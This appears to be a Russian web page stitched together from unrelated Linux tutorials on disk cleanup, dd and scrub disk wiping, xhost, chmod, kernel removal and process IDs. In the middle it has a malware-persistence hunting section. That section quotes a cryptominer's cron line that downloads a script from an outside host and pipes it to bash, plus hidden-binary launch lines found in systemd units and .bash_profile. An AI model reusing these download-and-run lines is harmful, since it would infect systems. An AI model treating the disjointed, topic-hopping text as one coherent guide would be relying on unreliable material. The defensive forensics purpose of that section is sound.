Как сделать очистку диска и увеличить свободное место в linux mint? лучшие программы

Назначение команды dd

Мы упоминали, что основная задача — обработка файлов. Но в Linux все устройства, порты, оперативная память и память с кодом процессов отображаются как файлы, а это значит, что над ними можно проводить операции в . Еще утилита позволяет осуществлять выборочное копирование файлов с диска. Например, переместить фрагмент файла определенного размера или пропустить несколько гигабайт. Эта функция также помогает считать файлы с поврежденного носителя, изменить расположение байтов в файле, создавать файлы фиксированного размера. Кроме этого в можно создать дополнительную копию загрузочного сектора жесткого диска или прочитать блоки из системных файлов.

1) dd

Команда dd может помочь вам скопировать и преобразовать файл.

Команда может перезаписать весь диск нулями и значительно быстрее, чем генерировать гигабайты случайных данных.

Он предлагает некоторые операторы, которые вы можете использовать, чтобы указать, какое форматирование вы хотите.

Синтаксис:

 # dd if=source of=target  

Только суперпользователь может запустить эту команду, потому что вы можете столкнуться с большими потерями данных из-за неправильного использования.

Пример:

 # dd if=/dev/zero of=/dev/sda2 bs=512 count=1
1+0 records in
1+0 records out
512 bytes copied, 0.0116875 s, 43.8 kB/s 

Вы можете стереть диск, записав новые данные за каждый бит.

Чтобы еще больше усложнить процесс восстановления, мы будем записывать весь диск со случайными данными.

 # dd if=/dev/urandom of=/dev/sda2 bs=4096 

Использование xhost в Unix/Linux

Данная утилита имеет следующий синтаксис:

$ xhost  remote_host_name ...]

Опции:

  • -help — Служит командой для вывода помощи по командам и опциям.
  • +name — Добавляет «name» (название IP или хостнейма) в список, кто имеет право подключаться к X-серверу.
  • -name — Удаляет «name» (название IP или хостнейма) со списка тех, кто имеет право подключаться к X-серверу.
  • +  — Контроль доступа к X-серверу отключен; разрешение всем и отовсюду.
  • —  — Контроль доступа к X-серверу включен; разрешение только по списку.
  • <ничего>  — Если аргументов не указано то выводится информации о текущем состоянии разрешения подключений.

Выведем информацию о текущем состоянии разрешений пользователей или хостов на подключение:

$ xhost

Разрешить полный доступ к X-серверу (всем и отовюсду):

# xhost +

Запретить доступ к X-серверу (разрешение только по списку):

# xhost -

Разрешить запуск графических программ от имени root на локальной машине:

# xhost local:root

Разрешить запуск графических программ от имени root на локальной машине:

# xhost local:root

Или:

# xhost +si:localuser:root

Разрешить запуск графических программ с 192.168.13.113 на локальной машине:

# xhost + 192.168.13.113

Запретить запуск графических программ с 192.168.13.113 на локальной машине:

# xhost - 192.168.13.113

Можно указать вот так:

  • 192.168.13.113:0 Нулевой дисплей на компьютере Sky
  • 192.168.13.113:0.1 Первый экран нулевого дисплея данного компьютера
  • 192.168.13.113:3 Третий дисплей данного компьютера

Чаще всего имя дисплея — это или просто «:0.0», или «компьютер:0.0». Чтобы узнать какой дисплей используется в системе, выполните:

$ echo $DISPLAY

Чтобы установить DISPLAY переменную, выполните (bash):

$ DISPLAY=192.168.13.113:0.0; export DISPLAY

Чтобы установить DISPLAY переменную, выполните (bash):

$ setenv DISPLAY 192.168.13.113:0.0

xhost + — огромная дыра в безопасности, поскольку она дает каждому доступ к вашим ресурсам X-сервера (не только вашему дисплею, но также и вашу мышь и клавиатуру), поэтому каждый может читать или изменять то, что вы набираете/нажимаете. Плохая привычка использовать «xhost +». Даже когда вы используете «xhost + localhost», вы открываете доступ всем людям кто на localhost-е.  Тогда, как быть и что исользовать? Простейшим способом является ssh-туннелирование.

$ ssh -X [email protected]
Last login: Fri Max 2 11:33:55 2017 from localhost

$ if xterm -e true; then echo success; fi
success

Другой способ это — использовать cookie X:

$ xauth extract ~/my-x-cookie $DISPLAY<
$ setfacl -m u:oracle:r ~/my-x-cookie
$ su - oracle -c "DISPLAY=$DISPLAY bash"
Password:

$ if xterm -e true; then echo success; fi
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

xterm Xt error: Can't open display: :0.0

$ xauth merge ~lsc/my-x-cookie
xauth: creating new authority file ~oracle/.Xauthority

$ if xterm -e true; then echo success; fi
success

Можно создать алиас:

alias oracle='
xauth extract $HOME/my-x-cookie $DISPLAY;
setfacl -m u:oracle:r $HOME/my-x-cookie;
su - oracle -c "export DISPLAY=$DISPLAY;
xauth merge $HOME/my-x-cookie;
bash"'

Вот и все, статья «Утилита xhost в Unix/Linux» подошла к завершению.

4) scrub

Команда scrub может использоваться для перезаписи данных с использованием шаблонов.

Команда по умолчанию недоступна, ее необходимо установить в вашей системе Linux.

Синтаксис

 # scrub  <target> 

Чтобы очистить жесткий диск, вы можете сделать так, как показано ниже.

 # scrub /dev/sda5
scrub: using NNSA NAP-14.1-C patterns
scrub: please verify that device size below is correct!
scrub: scrubbing /dev/sda5 1071644672 bytes (~1022MB)
scrub: random |................................................|
scrub: random |................................................|
scrub: 0x00 |................................................|
scrub: verify |................................................| 

Scrub использует некоторые методы для работы на дисках.

Вы можете использовать метод dod для очистки дисков.

 # scrub -p dod /dev/sda5 -f
scrub: using DoD 5220.22-M patterns
scrub: please verify that device size below is correct!
scrub: scrubbing /dev/sda5 1071644672 bytes (~1022MB)
scrub: random |................................................|
scrub: 0x00 |................................................|
scrub: 0xff |................................................|
scrub: verify |................................................| 

Риски безопасности при использовании rhosts

Хранение файла .rhost в вашей системе открывает дверь для потенциальных угроз безопасности. Например, хакеры могут подделать IP-адреса или информацию DNS, чтобы получить доступ к вашей системе. Поэтому вы должны ограничить права на чтение и запись только для владельца.

В отличие от файлов hosts.equiv, которые защищены правами администратора, файлы .rhosts могут быть созданы любым пользователем, подвергая риску всю систему. Если вы являетесь администратором своей сети, вам следует запретить файлы .rhosts, хотя вам может потребоваться сохранить их в корневой учетной записи для резервного копирования сети.

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

6. Удаление осиротевших пакетов

Осиротевшие пакеты — это те пакеты (программы), которые устанавливались в качестве зависимостей для других программ. Но по разным причинам они больше не нужны: или удалена программа, которая их использовала, или для той программы они перестали быть зависимостями после обновления программы.

На Debian, Linux Mint, Ubuntu, Kali Linux и их производных удалить ненужные пакеты можно следующим образом:

sudo apt autoremove

Для Debian и производных предыдущая команда абсолютно безопасна.

В Arch Linux и производных список осиротевших пакетов можно увидеть следующим образом:

pacman -Qdt

Прежде чем переходить к их автоматическому удалению, настоятельно рекомендуется изучить этот список!

Для рекурсивного удаления сироток и их конфигурационных файлов в Arch Linux и производных:

sudo pacman -Rns $(pacman -Qtdq)

Если осиротевшие пакеты не были найдены, pacman завершит работу с ошибкой: ошибка: не задано целей (для справки используйте -h). Это ожидаемо, поскольку pacman -Rns не получил аргументов.

Дисклеймер: работайте осторожно

Разработчики задумывали, что название должно отсылать к аббревиатуре языка Job Control Language (JCL), который использовала IBM. В этом языке оператор расшифровывался как «Доступ к данным» (Data Access).

Работая с утилитой, помните, что при передаче некорректных аргументов, часть или все данные диска могут быть потеряны

Поэтому крайне важно корректно указывать адреса и имена целевых файлов. В связи с этим имеет несколько ироничных расшифровок-прозвищ, таких как , «» и

Но инструмент продолжают применять из-за его мощности, надежности и простоты в использовании.

При работе с рекомендуется использовать Live-режим Linux, то есть запускать систему без установки на компьютер, например с USB-носителя. Live-режим работает медленнее из-за копирования каждого байта, даже с неиспользуемого пространства.

Обратите внимание, что не отличает занятое и свободное дисковое пространство и копирует все. Поэтому жесткий диск, на который переносятся данные должен быть не меньшим, чем клонируемый

Фоновый режим

Когда мы запускаем программу она работает на переднем плане. Большинство из них также завершаются за доли секунды. Может быть, мы хотим запустить процесс, который займет немного времени и с радостью сделает это без нашего вмешательства. Например, обработка очень большого текстового файла. Тогда, мы можем запустить программу в фоновом режиме, а затем продолжить работу.

Мы продемонстрируем это с помощью программы sleep . Все, что нужно сделать, — это подождать определенное количество секунд, а затем выйти. Мы также можем использовать программу, называемую jobs, которая перечисляет текущие фоновые задания для нас.

Если вы запустите приведенный выше пример самостоятельно, вы заметите, что терминал ждет 5 секунд, прежде чем снова вывести приглашение. Теперь, если мы запустим ту же команду, но вместо этого добавим амперсанд (&) в конце команды, мы сообщим терминалу запустить этот процесс в фоновом режиме.

На этот раз вы заметите, что он присваивает процессу номер задания. Кроме того, сообщает нам номер и сразу же возвращает нам подсказку. Мы можем продолжать работать, пока процесс работает в фоновом режиме. Если вы подождете 5 секунд, а затем нажмете ENTER, появится сообщение о том, что задание выполнено.

Мы также можем перемещать задания между передним и задним планами. Если вы нажмете CTRL + z, то текущий процесс переднего плана будет приостановлен и перемещен в фон. Затем мы можем использовать программу под названием fg.

1. Удалить программу через GUI

В Ubuntu и многих других дистрибутивах необязательно использовать консоль для удаления программ, существуют центры приложений и графические интерфейсы. Здесь достаточно запустить утилиту, выбрать нужную программу или пакет и удалить ее. Например, во многих дистрибутивах применяется Gnome Software. Сначала запустите его из главного меню:

Затем найдите нужную программу, например, Gimp:

Откройте ее и нажмите кнопку «Удалить»:

Далее, подтвердите что ее нужно удалить и введите пароль суперпользователя:

После завершения работы, программа будет полностью удалена с вашего компьютера.

10 Простых Примеров :

1. Добавить всем права на чтение файла :

$ chmod a+r file

2. Забрать права на исполнение файла у всех :

$ chmod a-x file

3. Добавить всем права на чтение и запись :

$ chmod a+rw file

4. Установить права на чтение и запись для владельца и забрать права у всех остальных :

$ chmod u=rw,go= file

5. Для директории и всего ее содержимого добавить права на запись для владельца, и забрать права на запись для всех остальных :

$ chmod -R u+w,go-w directory

6. Забрать у всех все права :

$ chmod file

7. Дать всем права на права на чтение, запись и выполнение файла :

$ chmod 777 file

8. Задать права на чтение и запись без права на исполнение для владельца и группы, а все остальным дать право только на чтение :

$ chmod 664 file

9. Назначить права ‘-rwx’ для владельцев директорий, добавить права ‘rw’ для владельцев файлов, ‘—‘ для всех остальных :

$ chmod -R u+rwX,g-rwx,o-rwx directory

10. Забрать у всех права на исполнение файлов в директории и поддиректориях, но в то же время, разрешить всем просматривать содержимое директорий :

$ chmod -R a-x+X directory

Запуск Команд на Удаленном Linux Сервере через SSH

В этой заметке Вы найдете различные примеры того, как выполнять команды на удаленном Linux сервере и получать результат локально.

Данная информация будет очень полезна, если Вы пишете Bash скрипт, который будет запускаться с локальной машины и выполнять какие-либо команды на удаленном сервере.

Вы узнаете, как :

  • выполнить команду на удаленном Linux сервере;
  • запустить множество команд через SSH;
  • выполнить локальный скрипт на удаленном Linux сервере без его копирования.

Как очистить диск от мусора с Ubuntu Сleaner Deb в Linux Mint

Очистка дискового пространства – очень важное мероприятие, к которому стоит отнестись очень серьезно. Существует несколько эффективных способов очистки дисков в Ubuntu и Linux Mint, каждый из них будет рассмотрен детально чуть ниже

Удаление файлов кэширования в Линукс Минт

«Убунту» использует APT для установки, деинсталляции и управления программным обеспечением в системе и при этом сохраняет кеэшированные данные. Система APT хранит кеш-файлы DEB в /var/cache/apt/archives.

Постепенно этот кеш может вырасти в размере и содержать немало пакетов, которые вам не нужны. Для того чтобы почистить APT кеш, необходимо выполнить следующую команду – sudo apt clean. После выполнения команд удаление пройдет успешно, и ваша работа будет окончена.

Как удалить старые ядра системы

Вначале нужно узнать, сколько всего в ОС ненужных ядер. Также потребуется определить, какое ядро считается главным:

  • $ uname-r;
  • 4.18.0-18-generic.

Несложно заметить, что в качестве главного ядра выступает именно официальная версия 4.18.0-18. Но вам потребуется также вычислить, какие ещё ядра работают в ОС. На примере «Убунту» для этого выполняются нижеуказанные команды:

  • $ dpkg – list | grep linux-image;
  • $ dpkg – list | grep linux-headers.

Помимо главного ядра версии 4.18.* в ОС установлены старые ядра 4.15 – 43, 46 и 47. Первые два можно со спокойной душой удалить, освободив, таким образом, место на диске. А вот ядро 4.15.0–47 необходимо оставить в качестве резерва.

После решения об удалении ненужных ядер, а точнее, версии 4.15.0–43 и 4.15.0–46, можно использовать команды СУП для конкретного дистрибутива. К примеру, для «Убунту», стоит написать стандартные команды:

  • $ sudo apt-get purge linux-image-4.15.0-43-generic;
  • $ sudo apt-get purge linux-headers-4.15.0-43-generic;
  • $ sudo apt-get purge linux-image-4.15.0-46-generic;
  • $ sudo apt-get purge linux-headers-4.15.0-46-generic.

Далее, вам не нужно ничего делать, кроме как ждать завершения процесса удаления.

Пишите все правильно и не забывайте выполнять все команды последовательно, тогда все завершится успешно.

Как убрать потерянные пакеты

Начинающим лучше не браться за подобную работу, однако если вы опытный пользователь, то можете попробовать удалить все файлы самостоятельно. Когда вы загружаете какие-нибудь приложения, то дополнительно приходится ставить и зависимые пакеты, без которых утилита просто не установится правильно.

  1. С установкой все предельно ясно, для этого надо лишь написать одну простую команду: apt-get install имя_пакета.
  2. Если вы не пользуетесь определенной программой, целесообразно ее деинсталлировать, для этого можно написать следующее: apt-get remove имя_пакета. Функция «ремув» удаляет ненужные файлы, но оставляет данные о настройках.Преимущество этого способа удаления: возможно, через пару месяцев вы вновь пожелаете установить эту программу и вам уже не придется вновь ее настраивать, т. к. все файлы с параметрами у вас уже есть.
  3. Если же вы уверены, что не будете вновь загружать это ПО, то нужно написать следующую команду: apt-get purge имя_пакета. Благодаря этой команде исчезнут и сохраненные настройки.
  4. А теперь снова перейдем к зависимым файлам. Они все равно останутся, если даже вы деинсталлируете приложение. Поэтому, чтобы убрать их навсегда, стоит написать следующую небольшую команду: apt-get autoremove.Если после работы или во время нее, появились ошибки, то можно активировать команду apt-get check, которая обновит кеш и проверит состояние зависимых пакетов.

Использование GUI-инструментов для увеличения свободного места

Выше были описаны самые распространенные способы очистки системы Linux, но для многих это слишком сложно, особенно для начинающих

И именно поэтому стоит обратить внимание на ряд инструментов графического интерфейса, которые помогут вам сделать все операции за несколько кликов

Stacer — прекрасный инструмент, которым несложно управлять в своих целях. Чтобы установить актуальную версию Stacer в Ubuntu, можно воспользоваться PPA репозиторием. Для этого напишите следующие небольшие команды:

  • sudo add-apt-repository ppa: oguzhaninan/stacer;
  • sudo apt-get update;
  • sudo apt-get install stacer.

Вот и все, установка завершена, далее можно использовать инструмент по назначению.

Если возникнут проблемы со Stacer, то можно попробовать воспользоваться другими инструментами, которые являются не менее эффективными.

Установка Secure-Delete на Unix/Linux

Secure-Delete — это комплект консольных утилит для «параноика», которые предназначены для безвозвратного удаления данных. Программа юзает алгоритм стирания по методу Гутмана (Secure Deletion of Data from Magnetic and Solid-State Memory by Peter Gutmann, 1996). Это его был доклад на тему криптографии.

Установка Secure-Delete на Debian/Ubuntu/Mint

И так, чтобы установить, выполните команду:

# apt-get install secure-delete

Ничего сложного, просто установка пакета.

И так, чтобы установить, выполните команду:

# yum install secure-delete

PS: может и не быть такого пакета в ОС.

Установку для других Unix/Linux систем

Если не получилось установить утилиты с пакетов, то можно их собрать с исходного кода.

Скачиваем srm пакет и распаковываем его:

# cd /usr/local/src && wget https://freefr.dl.sourceforge.net/project/srm/1.2.15/srm-1.2.15.tar.gz && tar xfvz srm-*.tar.gz

Выполняем сборку:

# cd srm-* && ./configure && make && make install

Для работы я нашел несколько пакетов, если кто-то знает больше просьба дополнить.

Находим PID зависшего процесса

Каждый процесс в Linux имеет свой идентификатор, называемый PID. Перед тем, как выполнить остановку процесса, нужно определить его PID. Для этого воспользуемся командами ps и grep. Команда ps предназначена для вывода списка активных процессов в системе и информации о них. Команда grep запускается одновременно с ps (в канале) и будет выполнять поиск по результатам команды ps. Вывести список всех процессов можно, выполнив в командной строке:

 Но, как правило, список очень большой и найти процесс, который мы хотим «убить», бывает не так просто. Здесь на помощь приходит команда grep. Например, чтобы найти информацию о процессе с именем gcalctool выполните команду:

Команда grep выполнит поиск по результатам команды ps и на экран будут выведены только те строки, которые содержат строку (слово) gcalctool. Здесь есть одна интересная деталь, например, если у вас не запущено приложение gcalctool, то после выполнения ps axu | grep gcalctool вы получите:

То есть мы получили сам процесс grep, так как в качестве параметра команде мы указали слово gcalctool, и grep нашел сам себя в выводе команды ps.

Если процесс gcalctool запущен, то мы получим:

Здесь нас интересует строка: «yuriy 25609 7.6 0.4 500840 17964 ? Sl 10:20 0:00 gcalctool». Число 25609 и есть идентификатор (PID) процесса gcalctool.

Есть еще один более простой способ узнать PID процесса — это команда pidof, которая принимает в качестве параметра название процесса и выводит его PID. Пример выполнения команды pidof:

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Мой редактор ОС
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector